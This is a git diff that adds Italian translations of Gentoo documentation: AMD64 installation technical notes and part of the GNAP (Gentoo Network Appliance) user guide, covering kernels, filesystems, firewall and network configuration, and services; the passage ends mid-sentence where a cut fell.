+</chapter>
+
+<chapter>
+	<title>Errata</title>
+<abstract>
+	Dove guardare per le ultime informazioni che non sono ancora state integrate nelle note tecniche
+</abstract>
+	<include href="install-errata.xml"/>
+</chapter>
+
+</part>
+
+</book>
diff --git a/xml/htdocs/proj/it/base/amd64/technotes/install-software.xml b/xml/htdocs/proj/it/base/amd64/technotes/install-software.xml
new file mode 100644
index 00000000..59578fdc
--- /dev/null
+++ b/xml/htdocs/proj/it/base/amd64/technotes/install-software.xml
@@ -0,0 +1,314 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/amd64/technotes/install-software.xml,v 1.1 2005/03/22 18:48:31 mush Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>2005-02-19</date>
+
+<section>
+	<title>Kernel Disponibili</title>
+<subsection>
+	<title>Sul LiveCD</title>
+<body>
+<p>
+Fino alla 2004.3, c'è un solo kernel disponibile sul LiveCD dal quale effettuare il boot. Questo kernel è <c>gentoo</c> ed è un kernel SMP. Le macchine non SMP possono usare comunque questo kernel.
+</p>
+</body>
+</subsection>
+<subsection>
+	<title>Utilizzare il Giusto Kernel</title>
+<body>
+<impo>Utilizzare il kernel <path>sys-kernel/gentoo-dev-sources</path>! Esso Contiene
+delle patch specifiche per AMD64, ed altre migliorie. Non saremo in grado di 
+fornirvi supporto se utilizzerete altri kernel.</impo>
+</body>
+</subsection>
+<subsection>
+	<title>Costruire un Kernel per un Laptop eMachines</title>
+<body>
+<p>
+Prima di 2004.3, nel configurare un kernel da utilizzare con laptop eMachines Mobile Athlon64, l'utente <e>doveva</e> compilare il supporto USB nel kernel. In caso contrario, avrebbe ricevuto errori 
+riguardo del tipo "unknown keypress' da <path>atkbd.c</path>. Disabilitare il supporto USB non funzionava.
+</p>
+<p>
+Riscontri su quanto bene la 2004.3 funzioni con laptop eMachines dovranno essere riportati attraverso bugs.gentoo.org.
+</p>
+</body>
+</subsection>
+ <subsection>
+	<title>Kernel 2.4.x Ufficialmente Deprecato</title>
+<body>
+<p>
+<b>La serie 2.4.x del kernel è ufficialmente deprecata per AMD64.</b> Dalla 2.4.23-pre7. devfs
+è stato disabilitato, essendo causa di memory corruption. In Gentoo non abbiamo avuto 
+esperienza di questi problemi, ma l'utilizzo di 2.4 senza devfs non è una buona soluzione 
+per Gentoo.
+</p>
+</body>
+</subsection>
+<subsection>
+	<title>gcc 3.3 Ufficialmente Deprecato</title>
+<body>
+<p>
+<b>gcc 3.3 è ufficialmente deprecato per AMD64, dalla release 2004.3.</b> Tutto il LiveCD 2004.3 
+è ora basato su gcc 3.4.x.
+</p>
+</body>
+</subsection>
+</section>
+<section><title>Kernel Panic al Boot</title>
+<body>
+<p>
+Se l'utente avesse esperienze di kernel panic all'avvio, può provare a passare <c>idle=poll</c> 
+come opzione al boot. Questo è un problema che affligge molti BIOS attualmente, e 
+principalmente le schede madri con chipset VIA. L'utente dovrà passare questa opzione solo 
+<e>dopo</e> aver aggiornato il BIOS all'ultima versione fornita dal produttore della 
+scheda madre. Si potrà risolvere questo problema anche disabilitando il supporto Legacy USB 
+nel BIOS. Se si fosse costretti ad utilizzare l'opzione <c>idle=poll</c>, si prega di 
+contattare il produttore della scheda madre per la risoluzione della CPU Errata
+#93.
+</p>
+<p>
+Per ulteriori informazioni su questo tema, controllare questi archivi di mailing list:
+</p>
+<ul>
+	<li><uri>http://lists.suse.com/archive/suse-amd64/2003-Dec/0031.html</uri></li>
+	<li><uri>http://lists.suse.com/archive/suse-amd64/2003-Dec/0034.html</uri></li>
+</ul>
+<p>
+Potrete constatare come non sia un problema specifico di Gentoo!
+</p>
+</body>
+</section>
+
+<section><title>Filesystem Supportati</title>
+<body>
+<p>
+Raccomandiamo fortemente di utilizzare in questo momento ext2/3. Abbiamo avuto notizia 
+di problemi con reiserfs su AMD64, ed anche di problemi gravi utilizzando 
+JFS su sistemi 64-bit (Cosa che sembra paradossale considerando che è stato 
+inizialmente pensato per l'utilizzo su sistemi 64-bit).
+
+</p>
+<table>
+<tr>
+ 	<th>Filesystem:</th>
+	<th>Stato:</th>
+</tr>
+<tr>
+	<ti>ext2</ti>
+	<ti>STABILE</ti>
+</tr>
+<tr>
+	<ti>ext3</ti>
+	<ti>STABILE</ti>
+</tr>
+<tr>
+	<ti>XFS</ti>
+	<ti>STABILE, >=gentoo-dev-sources-2.6.3</ti>
+</tr>
+<tr>
+	<ti>JFS</ti>
+	<ti>STABILE, >=gentoo-dev-sources-2.6.7</ti>
+</tr>
+<tr>
+	<ti>reiserfs</ti>
+	<ti>STABILE, >=gentoo-dev-sources-2.6.5</ti>
+</tr>
+<tr>
+	<ti>reiser4</ti>
+	<ti>NON FUNZIONA SU AMD64, NON SUPPORTATO SU NESSUNA ARCHITETTURA!</ti>
+</tr>
+</table>
+<p>
+Vi preghiamo di riportare qualsiasi problema con qualunque filesystem su bugs.gentoo.org.
+</p>
+</body>
+</section>
+ 
+<section><title>Il Bootloader: Compilare GRUB</title>
+<body>
+<p>
+Grub non compila in un'ambiente 64-bit puro. Compila solamente utilizzando gcc con multilib. 
+2004.3 include il supporto multilib di default. Se l'utente sceglierà di rimuovere il supporto 
+multilib da gcc, dovrà utilizzare <c>grub-static</c>. <c>grub-static</c> può essere 
+installato utilizzando le seguenti istruzioni:
+
+</p>
+<pre>
+emerge grub-static
+cp -Rpv /usr/share/grub/i386-pc/* /boot/grub
+</pre>
+</body>
+</section>
+ 
+<section><title>Alcuni Pacchetti Sono Ancora Masked</title>
+<body>
+<p>
+Alcuni pacchetti che sono unmasked su altre architetture sono ancora masked 
+su AMD64. Questo non significa che non funzionino. Significa semplicemente che 
+nessuno sviluppatore Gentoo è stato ancora in grado di testarli sulla propria 
+macchina AMD64. Vi preghiamo di testare le applicazioni masked e 
+<uri link="http://bugs.gentoo.org">sottomettere un bug report</uri> mettendo 
+a conoscenza gli sviluppatori del fatto che un pacchetto funziona o no.
+
+</p>
+</body>
+</section>
+
+<section><title>Pacchetti che Non Funzionano</title>
+<body>
+<p>
+Attualmente non funziona:
+</p>
+<ul>
+	<li>Firebird (il database, NON il browser)</li>
+</ul>
+<p>
+Cose che non funzionano in modo 64-bit, ma che DOVREBBERO funzionare in modo 32-bit 
+(dando per assunto che app-emulation/emul-linux-x86-baselibs e compagnia siano 
+installati):
+</p>
+<ul>
+	<li>Qualsiasi programma che usi dll 32-bit da windows (come il supporto di mplayer/xine 
+	per alcuni formati proprietari)</li>
+	<li>Qualsiasi programma che richieda assembly 32-bit</li>
+</ul>
+</body>
+</section>
+
+<section><title>Supporto Java</title>
+<body>
+<p>
+Blackdown ha rlasciato un Java 64-bit nativo per Linux su AMD64. E' una 
+release candidate quindi non c'è da aspettarsi la perfezione. E' in 
+portage come <path>blackdown-jdk-1.4.2</path> e <path>blackdown-jre-1.4.2</path>.
+
+</p>
+<p>
+Alcuni utenti hanno notato che la VM Java 64-bit sembra più lenta della VM 
+Java 32-bit. Juergen Kreileder di Blackdown è stato abbstanza gentile da rispondere:
+</p>
+<pre>
+Attualmente la VM 64-bit è più veloce della VM 32-bit in quasi tutti i 
+benchmark.
+
+La differenza che viene rilevata è da attribuire più alle differenti VM:
+La versione i386 viene fornita con l'HotSpot Client VM e l'HotSpot 
+Server VM, il Client VM è quello che viene usato di default. La 
+versione 64-bit è fornita solo con il Server VM, del Client VM non 
+è ancora stato effettuato il port.
+
+In linea generale il Server VM è il più veloce dei due. Il suo 
+compilatore effettua più ottimizzazioni ed è più aggressivo del 
+compilatore del Client VM. Solitamente genera codice migliore. La 
+contropartita è che fare più ottimizzazioni prende più tempo CPU e 
+memoria. A causa di questo fatto far girare del codice GUI sul Client 
+VM è spesso più veloce (perlomeno inizialmente) che farlo girare 
+sul Server VM.
+
+In altre parole: non è giusto confrontare il client i386 con il 
+server AMD64. Si dovrebbe confrontare il server i386 con il 
+server AMD64.
+</pre>
+<p>
+Inoltre, ha risposto su quando potebbe essere completato il client VM:
+</p>
+<pre>
+Non sarà nella release 1.4.2. Difficilmente sarà nella 1.5.0 (Sia Sun 
+che Blackdown), Sun è soddisfatta del ServerVM e non è realmente 
+interessata nel porting del Client VM (Le altre VM 64-bit, per IA64 &amp; 
+SPARC64, sono anche loro solo Server VM). Ed è troppo lavoro (Stimo 10-13 
+settimane uomo) per farlo senza essere pagati.
+</pre>
+<p>
+Quindi se volete fare dei benchmark, ed essere giusti, fate girare il 
+java-server su entrambe le architetture, e non aspettatevi che il 
+client vm arrivi troppo presto. ;)
+</p>
+<p>
+Una volta che si è installato java, il seguente symlink è richiesto per 
+far si che lavori con mozilla (e probabilmente konqueror):
+</p>
+<pre>
+/usr/lib/nsbrowser/plugins/libjavaplugin_oji.so -> /opt/blackdown-jdk-1.4.2_rc1/jre/plugin/amd64/mozilla/libjavaplugin_oji.so
+</pre>
+</body>
+</section>
+ 
+<section><title>Installare OpenOffice</title>
+<body>
+<p>
+OpenOffice è attualmente disponibile solo in forma binaria 32-bit, poichè OpenOffice 1.1.x non compila su AMD64. 
+Per installare OpenOffice, fare l'emerge del pacchetto <path>app-office/openoffice-bin</path>.
+</p>
+<note>Non consigliamo di provare a compilare OpenOffice dai sorgenti. E' uno sforzo futile e causerebbe solamente notti insonni.</note>
+</body>
+</section>
+
+<section><title>Settare Propriamente le CFLAGS</title>
+<body>
+<p>
+Diversamente da gcc 3.3, gcc 3.4 richiede che sia settato -march. Le più conservative (e supportate) 
+CFLAGS possono essere impostate come segue:
+</p>
+<pre caption="gcc-3.4 CFLAGS">
+...
+CFLAGS="-march=k8 -O2 -pipe"
+...
+</pre>
+<note>
+<c>-march=k8</c> è uguale a <c>-march=athlon64</c> ed è uguale a <c>-march=opteron</c>.
+</note>
+<p>
+Ci sono stati dei problemi per la mancanza dell'utilizzo di <c>-fPIC</c> nella 
+costruzione di oggetti condivisi, la ragione è in un post della mailing list: 
+ <uri link="http://www.x86-64.org/lists/discuss/msg02621.html">Porting to
+Hammer</uri> -- proseguite fino a  "Shared libraries must be compiled with -fPIC".
+Se l'utente trovasse qualsiasi pacchetto che necessiti di <c>-fPIC</c> per 
+funzionare correttamente, ci metta immediatamente a conoscenza, poichè 
+dovremo aggiornare il pacchetto. Vi preghiamo di non specificare <c>-fPIC</c> 
+nelle CFLAGS poichè non sarebbe una soluzione ma solamente un workaround.
+</p>
+<p>
+Vi preghiamo di non aggiungere <c>-m32</c> alle flag USE, poichè voi non volete
+compilare il sistema in modo 32-bit, e di default Gentoo non supporta la compilazione 
+di binari 32-bit. L'utilizzo di <c>-m64</c> è irrilevante poichè il compilatore è 
+per default in modo 64-bit e può avere effetti negativi sul codice che 
+fornisce internamente <c>-m32</c> per compilare assembly 32bit (come faranno le 
+prossime versioni di GRUB).
+</p>
+<warn>Non utilizzare <c>-Os</c>. E' noto per causare la mancata compilazione di parti di KDE 3.2.0.</warn>
+</body>
+</section>
+ 
+<section><title>Flag USE che vengono ignorate</title>
+<body>
+<p>
+Le USE flag <c>mmx</c>, <c>3dnow</c>, <c>sse</c> e <c>sse2</c> vengono ignorate 
+su AMD64, poichè tutti i processori AMD64 supportano questi set di istruzioni. 
+Sono ignorate in quanto abilitano ottimizzazioni assembly 32bit per alcuni pacchetti.
+</p>
+</body>
+</section>
+ 
+<section><title>Riportare Bug e Sottomettere Patch</title>
+<body>
+<p>
+Se l'utente avesse una patch per risolvere problemi con un pacchetto, o 
+volesse riportare una compilazione riuscita in modo da poterla riportare 
+in portage, è pregato di sottomettere un bug report su <uri
+link="http://bugs.gentoo.org">bugs.gentoo.org</uri>.
+</p>
+<note>Può anche mettere nel campo CC: <mail link="amd64@gentoo.org">amd64@gentoo.org</mail> se vuole.</note>
+<note>Per sottomettere una patch, si dovrà prima sottomettere un bug report, 
+poi tornare al bug report e selezionare "Create a new attachment".</note>
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/gnap-userguide.xml b/xml/htdocs/proj/it/base/embedded/gnap-userguide.xml
new file mode 100644
index 00000000..2860075c
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/gnap-userguide.xml
@@ -0,0 +1,1107 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/gnap-userguide.xml,v 1.3 2007/05/22 08:52:06 scen Exp $ -->
+
+<guide link="/proj/it/base/embedded/gnap-userguide.xml" lang="it">
+<title>Gentoo Network Appliance (GNAP) - Guida Utente</title>
+
+<author title="Autore">
+  <mail link="koon@gentoo.org">Thierry Carrez</mail>
+</author>
+<author title="Traduzione">
+  <mail link="skypjack@gmail.com">Michele Caini</mail>
+</author>
+
+<abstract>
+Questo documento descrive come usare GNAP, uno strumento con cui realizzare
+sistemi per dispositivi di rete basati su Gentoo.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>2.0</version>
+<date>2006-04-20</date>
+
+<chapter>
+<title>Le basi di GNAP</title>
+<section>
+<title>Scopo</title>
+<body>
+
+<p>
+Lo scopo è quello di sfruttare l'attuale sistema Gentoo dell'utente (chiamato
+<e>host</e>, ospite) per creare un LiveCD o un disco con un sistema avviabile
+per dispositivi di rete, completo di file di configurazione personalizzati, che
+sia possibile usare per l'avvio di un altro sistema (chiamato <e>target</e>,
+bersaglio).
+</p>
+
+<p>
+GNAP fornisce un immagine di sistema pre-confezionata, chiamata <e>GNAP core</e>
+(letteralmente, nucleo o cuore di GNAP). E' possibile modificare la
+configurazione predefinita di questa immagine introducendo nuovi file di
+configurazione che andranno a sovrascriversi all'immagine di sistema stessa
+durante l'avvio del target.
+</p>
+
+<p>
+Lo script <c>gnap_overlay</c> prende una tarball (ovvero un file generato con
+l'ausilio del programma di compressione tar) di GNAP core e una o più
+<e>sorgenti overlay</e> (NdR: le sorgenti overlay, letteralmente "copertura",
+contengono dati che andranno a sovrascrivere i corrispettivi originali, da cui
+il termine che sarà mantenuto tale per l'intero documento) da cui o produce un
+file .iso per la realizzazione di un LiveCD avviabile, oppure scrive un
+filesystem avviabile su un dispositivo di memorizzazione (tipicamente una scheda
+CompactFlash o DOM):
+</p>
+
+<figure link="/proj/en/base/embedded/gnap_overlay.png" short="Le basi di
+gnap_overlay" caption="Come funziona gnap_overlay"/>
+
+</body>
+</section>
+<section>
+<title>Le sorgenti overlay</title>
+<body>
+
+<p>
+Esistono due tipi di sorgenti overlay che si possono usare con
+<c>gnap_overlay</c>: directory e file <e>conflet</e>.
+</p>
+
+<p>
+Le directory overlay sono solamente cartelle contenenti file che saranno copiati
+sul filesystem principale durante l'avvio del target. La radice della directory
+corrisponde alla radice del filesystem del target, quindi contiene normalmente
+una sottodirectory <path>etc/</path> dove sono presenti file che saranno copiati
+sulla cartella <path>/etc</path> del target.
+</p>
+
+<p>
+I file <e>Conflet</e> non sono nient'altro che tarball compresse .tar.bz2
+contenenti una directory overlay. Di solito contengono configurazioni
+riutilizzabili su cui sono state applicate modifiche diffuse, così da rendere
+più facile mantenere diverse configurazioni.
+</p>
+
+<impo>
+Attualmente solo le directory <path>/etc</path>, <path>/var</path>,
+<path>/tmp</path>, <path>/home</path>, <path>/root</path> e <path>/mnt</path>
+del target sono scrivibili all'avvio del target stesso, il che significa che le
+sorgenti overlay non possono specificare file al di fuori di queste directory.
+</impo>
+
+</body>
+</section>
+<section>
+<title>Il file overlay.conf</title>
+<body>
+
+<p>
+Il file <e>overlay.conf</e> controlla la personalizzazione delle opzioni
+generali sul target, come le opzioni per la localizzazione e quali
+caratteristiche dovrebbero essere abilititate sulla macchina GNAP target. Il
+file deve essere presente in una sorgente overlay (come
+<path>etc/overlay.conf</path>) oppure lo si deve specificare direttamente con il
+parametro <c>-c</c> allo script <c>gnap_overlay</c>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Il primo LiveCD GNAP</title>
+<section>
+<title>Installazione di GNAP</title>
+<body>
+
+<p>
+GNAP è disponibile attraverso Gentoo Portage. Baste lanciare emerge come segue
+(da utente root):
+</p>
+
+<pre caption="Installazione di GNAP">
+# emerge gnap
+</pre>
+
+<warn>
+GNAP potrebbe essere disponibile solo in "~x86". Dovrà essere modificato il file
+<path>/etc/portage/package.keywords</path> se necessario.
+</warn>
+
+<note>
+Così facendo verrà recuperato il file GNAP core, che è di solito abbastanza
+grande (circa 14Mb). Si può però impostare la flag USE "minimal" se non si
+desidera scaricare lo GNAP core, ma semplicemente installare i gli strumenti
+forniti con GNAP.
+</note>
+
+<note>
+Gli utenti di altre distribuzioni Linux possono fare riferimento alla guida
+<uri link="">Using GNAP on non-Gentoo hosts</uri> (Utilizzare GNAP su sistemi
+non-Gentoo).
+</note>
+
+</body>
+</section>
+<section>
+<title>Preparazione del proprio overlay e del file overlay.conf</title>
+<body>
+
+<p>
+In questo tutorial, GNAP verrà usato per realizzare un LiveCD avviabile
+contenente un Firewall che filtri il traffico ed effettui il NAT per una piccola
+rete LAN. C'è bisogno di attivare queste caratteristiche in <e>overlay.conf</e>
+e nei file overlay per la configurazione della rete e del firewall.
+</p>
+
+<note>
+Non c'è bisogno dei privilegi di root per realizzare un LiveCD GNAP.
+</note>
+
+<p>
+Prima di tutto, deve essere creata una cartella che verrà utilizzata come radice
+per la cartella overlay, e le sottodirectory <path>etc/</path>,
+<path>etc/conf.d/</path> e <path>etc/firehol</path>:
+</p>
+
+<pre caption="Preparazione delle directory di overlay">
+$ mkdir myoverlay
+$ mkdir myoverlay/etc
+$ mkdir myoverlay/etc/conf.d
+$ mkdir myoverlay/etc/firehol
+</pre>
+
+<p>
+Poi creare il file di configurazione della rete (<path>etc/conf.d/net</path>),
+con un indirizzo verso l'esterno 111.222.111.47 (gateway 111.222.111.254) e
+verso la LAN 192.168.1.*. Questo file aderisce alla sintassi Gentoo descritta
+nel file <path>/etc/conf.d/net.example</path> sul sistema dell'utente:
+</p>
+
+<pre caption="Contenuto del file myoverlay/etc/conf.d/net">
+# Usare la configurazione con la sintassi di iproute2
+modules=( "iproute2" )
+
+# L'interfaccia esterna
+ipaddr_eth0=( "111.222.111.47/24" )
+iproute_eth0=( "default via 111.222.111.254" )
+
+# L'interfaccia interna
+ipaddr_eth1=( "192.168.1.254/24" )
+</pre>
+
+<p>
+Adesso va creato il file di configurazione per il programma firehol che verrà
+usato come firewall, lasciando passare tutto il traffico in uscita dalla LAN ma
+non il traffico in ingresso:
+</p>
+
+<pre caption="Contenuto del file myoverlay/etc/firehol/firehol.conf">
+version 5
+interface eth0 internet
+interface eth1 lan
+router lan2internet inface eth1 outface eth0
+  masquerade
+  route all accept
+</pre>
+
+<p>
+Infine, è necessario scrivere un file <e>overlay.conf</e> per indicare a GNAP
+che dovrà usare due schede di rete, ed eseguire uno script per il firewall
+firehol all'avvio:
+</p>
+
+<pre caption="Contenuto del file myoverlay/etc/overlay.conf">
+# Usare due schede di rete
+NBCARDS=2
+
+# Avviare lo script del firewall 'firehol' all'avvio
+USE_FW=yes
+FW_TYPE=firehol
+</pre>
+
+</body>
+</section>
+<section>
+<title>Generazione del file .iso, realizzazione del CD-R</title>
+<body>
+
+<p>
+Il prossimo passo è l'uso dello script <c>gnap_overlay</c> per combinare la
+directory overlay <path>myoverlay</path> e lo GNAP core in modo da produrre un
+file myfirewall.iso contenente l'immagine del LiveCD per il sistema target.
+Questo lo si può fare con il comando:
+</p>
+
+<pre caption="Creazione del file .iso">
+$ gnap_overlay -i myfirewall.iso -o myoverlay/
+</pre>
+
+<p>
+L'immagine myfirewall.iso risultante deve essere masterizzata in un CD-R (o
+meglio, un CD-RW) usando il proprio strumento di masterizzazione preferito, per
+esempio:
+</p>
+
+<pre caption="Masterizzazione del file .iso, YMMV">
+$ cdrecord -v -eject speed=4 dev=/dev/hdc myfirewall.iso
+</pre>
+
+</body>
+</section>
+<section>
+<title>Test del sistema GNAP risultante</title>
+<body>
+
+<p>
+Una volta che il CD-R è pronto, inserirlo nel sistema target e usarlo per
+l'avvio. Per sistemi meno recenti non dovrebbero esserci problemi, GNAP dovrebbe
+avviarsi con successo su sistemi 486 con meno di 32Mb di RAM.
+</p>
+
+<note>
+Il BIOS del sistema target dovrebbe ovviamente essere configurato per l'avvio da
+CD-ROM.
+</note>
+
+<p>
+Durante l'avvio, sono visibili i messaggi specifici di GNAP, mentre gli
+initscript (script d'inizializzazione, presenti sul sistema target in
+<path>/etc/init.d/overlay</path>) si occupano dei file di overlay e processano
+le opzioni in <e>overlay.conf</e>. Se la configurazione non è corretta, è
+possibile variare il contenuto della directory <path>myoverlay/</path>, creare
+nuovamente l'immagine .iso, masterizzarla, quindi riavviare il sistema target
+con il nuovo LiveCD.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Ulteriori personalizzazioni</title>
+<section>
+<title>Manutenzione degli overlay</title>
+<body>
+
+<p>
+Nella precedente sezione, è stato usata una singola sorgente overlay (la
+directory <path>myoverlay/</path>), rendendo difficile gestire più
+configurazioni diverse con caratteristiche comuni condivise. Lo script
+<c>gnap_overlay</c> accetta opzioni <c>-o</c> multiple, quindi si possono usare
+cartelle diverse e più file <e>conflet</e> per formare una singola
+configurazione:
+</p>
+
+<pre caption="Utilizzo di diverse sorgenti overlay">
+$ gnap_overlay -i myfirewall.iso -o common/ -o specific/ -o mypublickey.tbz2
+</pre>
+
+<p>
+Piuttosto che includere un file <path>etc/overlay.conf</path> in una delle
+sorgenti overlay, è possibile specificare il nome di un file da usare come
+<e>overlay.conf</e> nel proprio sistema GNAP, sfruttando l'opzione <c>-c</c>:
+</p>
+
+<pre caption="Utilizzo di un file overlay.conf separato">
+$ gnap_overlay -i myfirewall.iso -c firewall.conf -o overlay2/
+</pre>
+
+<p>
+Per tenere traccia dei cambiamenti alla configurazione, è possibile usare
+direttamente CVS sulle cartelle overlay. Lo script <c>gnap_overlay</c> ignorerà
+automaticamente le directory di controllo di CVS e non le copierà sul sistema
+target.
+</p>
+
+</body>
+</section>
+<section>
+<title>Internazionalizzazione</title>
+<body>
+
+<p>
+Due opzioni nel file <e>overlay.conf</e> controllano il timezone, ovvero il fuso
+orario (impostato in modo predefinito su UTC), e la keymap, ovvero la mappa dei
+caratteri (che assume in modo predefinito il layout di tastiera 'us'), usati sul
+sistema target:
+</p>
+
+<ul>
+  <li>
+    TIMEZONE: Se si desidera usare un altro timezone piuttosto che UTC, sarebbe
+    necessario leggere <uri
+    link="http://leaf.sourceforge.net/doc/guide/buci-tz.html">questa
+    pagina</uri> per determinare il codice timezone appropriato compatibile con
+    uclibc.
+  </li>
+  <li>
+    KEYMAP: Se si vuole potere effettuare il login in locale, potrebbe essere
+    necessario cambiare il layout predefinito della tastiera ('us') in qualcosa
+    di più appropriato. Esiste un completo albero di keymap in
+    /usr/share/keymaps da cui scegliere.
+  </li>
+</ul>
+
+<pre caption="Esempio di opzioni per l'internazionalizzazione in overlay.conf">
+# Usare il fuso orario dell'Europa Centrale (UTC+1) con le normali regole dell'orario estivo
+TIMEZONE=CET-1CEST
+
+# Usare un layout di tastiera francese
+KEYMAP=fr
+</pre>
+
+</body>
+</section>
+<section>
+<title>Configurazione di rete</title>
+<body>
+
+<p>
+È stata già discussa l'opzione NBCARDS in <e>overlay.conf</e>, la quale
+specifica quante schede di rete devono essere avviate, e si è parlato della
+necessità di fornire un file <path>etc/conf.d/net</path> nei propri overlay per
+fornire i dettagli della configurazione statica per la rete. Saranno ora
+discusse le altre opzioni e i file overlay tipici che possono essere usati per
+raffinare ulteriormente la configurazione di rete:
+</p>
+
+<ul>
+  <li>
+    IP_RELAY: Dovrebbe essere impostato a yes (si) se si vuole trasmettere gli
+    IP alle proprie schede di rete. Utile nei casi in cui si voglia eseguire un
+    gateway senza uno script di firewall.
+  </li>
+  <li>
+    NTPSERVER: Permette di specificare il nome di un server NTP da utilizzare
+    come riferimento temporale per poter trattare in modo corretto il tempo sul
+    sistema target.
+  </li>
+  <li>USE_PPPOE: Indica che si dovrebbe eseguire rp-pppoe durante l'avvio.</li>
+  <li>
+    <path>etc/resolv.conf</path>: Questo file può contenere la configurazione
+    per i DNS relativa al sistema.
+  </li>
+  <li>
+    <path>etc/hosts</path>: File complementare o alternativo rispetto a
+    <path>etc/resolv.conf</path>, contiene informazione statiche per la
+    risoluzione dei nomi.
+  </li>
+  <li>
+    <path>etc/conf.d/hostname</path>: Questo file può essere usato appositamente
+    per assegnare un nome specifico al sistema target. Il file
+    <path>etc/hosts</path> dovrebbe essere adattato appositamente.
+  </li>
+</ul>
+
+<note>
+Se non viene specificata una configurazione in <path>etc/conf.d/net</path>, il
+sistema userà il DHCP per ottenere la configurazione di rete relativa alle
+interfacce mancanti.
+</note>
+
+</body>
+</section>
+<section>
+<title>Firewall, controllo del traffico</title>
+<body>
+
+<p>
+L'abilitazione dello script di firewall è controllata dall'opzione USE_FW=yes.
+Di base, GNAP utilizzerà <uri link="http://www.shorewall.net/">Shorewall</uri>,
+un programma di supporto eccellente e completo per iptables. È possibile
+impostare l'opzione FW_TYPE=firehol per utilizzare <uri
+link="http://firehol.sourceforge.net/">Firehol</uri>, uno script semplice ma
+efficente.
+</p>
+
+<p>
+Se si decide di usare Shorewall, andrebbero sovrascritti i file nella directory
+<path>etc/shorewall</path> per personalizzarne il comportamento, in particolare
+di dovrebbe pensare di modificare i file <path>interfaces</path>,
+<path>zones</path>, <path>policy</path> e <path>shorewall.conf </path>. Se
+invece si decide di usare Firehol, deve essere personalizzato il file
+<path>etc/firehol/firehol.conf</path>.
+</p>
+
+<p>
+È possibile abilitare lo script di controllo del traffico usando l'opzione
+USE_TC=yes. In modalità predefinita, GNAP userà <uri
+link="http://sourceforge.net/projects/cbqinit">cbqinit</uri>, un semplice ma
+talvolta inefficiente programma di supporto al controllo del traffico. Piuttosto
+è possibile utilizzare <uri
+link="http://sourceforge.net/projects/htbinit">htbinit</uri>, uno script più
+complesso ma anche più efficiente, impostando l'opzione TC_TYPE=htbinit.
+</p>
+
+<p>
+Se si utilizza cbqinit, devono essere sovrascritti i file nella directory
+<path>etc/cbqinit</path> per personalizzarne il comportamento, seguendo le
+istruzioni riportate da <path>/usr/sbin/cbqinit</path>. Se si decide invece di
+utilizzare htbinit, devono essere creati dei file in <path>etc/htbinit</path>
+seguendo le istruzioni riportate da <path>/usr/sbin/htbinit</path>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Servizi di GNAP</title>
+<body>
+
+<p>
+Gnap offre diversi servizi standard. Il primo è il server SSH <uri
+link="http://matt.ucc.asn.au/dropbear/dropbear.html">Dropbear</uri>, che
+permette il controllo da remoto del sistema GNAP. Viene abilitato utilizzando
+l'opzione USE_SSH=yes. Le funzioni di Dropbear sono controllate attraverso il
+file <path>etc/conf.d/dropbear</path>. È consigliabile sovrascrivere le chiavi
+RSA/DSS fornite per il server in <path>etc/dropbear</path> (in modo che non
+vengano ricreate dopo ogni avvio).
+</p>
+
+<p>
+Un altro servizio è la cache DNS / il server DHCP <uri
+link="http://thekelleys.org.uk/dnsmasq/doc.html">DnsMasq</uri>, che mette a
+disposizione un risolutore DNS (per mappare nomi in indirizzi) e capacità di
+DHCP sulla LAN (per l'assegnamento automatico degli indirizzi agli host). È
+attivabile usando l'opzione USE_DNSDHCP=yes, e configurandolo attraverso
+il file <path>etc/dnsmasq.conf</path>.
+</p>
+
+<p>
+Un ulteriore servizio che GNAP mette a disposizione è la soluzione VPN <uri
+link="http://openvpn.net/">OpenVPN</uri>. Questo altro non è che una soluzione
+per VPN semplice ma completa di ogni caratteristica che potrà aiutare nella
+realizzazione di un connessione sicura (detta bridge, o ponte) fra LAN
+attraverso reti insicure, non fidate. La si può abilitare usando l'opzione
+USE_VPN=yes, nel cui caso andrebbero sovrascritti i file nella directory
+<path>etc/openvpn</path> con la configurazione desiderata per OpenVPN.
+</p>
+
+<p>
+Infine, esiste la possibilità di definire servizi extra da utilizzare all'avvio
+di GNAP. Ci sono due modi per farlo: usando l'opzione START_SERVICES in
+<e>overlay.conf</e> o utilizzando il file <path>etc/gnap/start_services</path>:
+</p>
+
+<pre caption="Definizione dei servizi iptables e boa tramite overlay.conf">
+# Avviare iptables e boa all'avvio
+START_SERVICES="iptables boa"
+</pre>
+
+<pre caption="Esempio di etc/gnap/start_services per l'avvio di iptables e boa">
+iptables boa
+</pre>
+
+</body>
+</section>
+<section>
+<title>Account e password</title>
+<body>
+
+<p>
+GNAP opera più o meno come un'applicazione a scatola chiusa nella modalità
+predefinita. In ogni caso, potrebbe esserci la necessità di loggarsi al suo
+interno. Di norma, non sono definiti account utente, e l'account per
+l'amministratore (utente root) ha una password impossibile, il che rende
+impossibile loggarsi. Ci sono diversi modi per cambiare questo comportamento:
+</p>
+
+<p>
+È possibile impostare una password di root vuota, utile per esempio in
+configurazioni di test, sfruttando l'opzione EMPTY_ROOTPASS=yes.
+</p>
+
+<p>
+Il modo più sicuro per accedere all'interno di GNAP è quello di eseguire il
+server SSH Dropbear in modalità a chiave pubblica. Sarà necessario configurare
+Dropbear per disabilitare il login con password (in
+<path>etc/conf.d/dropbear</path>) e aggiungere la propria chiave pubblica al
+file <path>root/.ssh/authorized_keys</path>:
+</p>
+
+<pre caption="Contenuto di etc/conf.d/dropbear per disabilitare l'autenticazione
+con password">
+DROPBEAR_OPTS="-s"
+</pre>
+
+<note>
+Il file <path>/usr/lib/gnap/examples/conflets/dropbear_nopasswd.tbz2</path>,
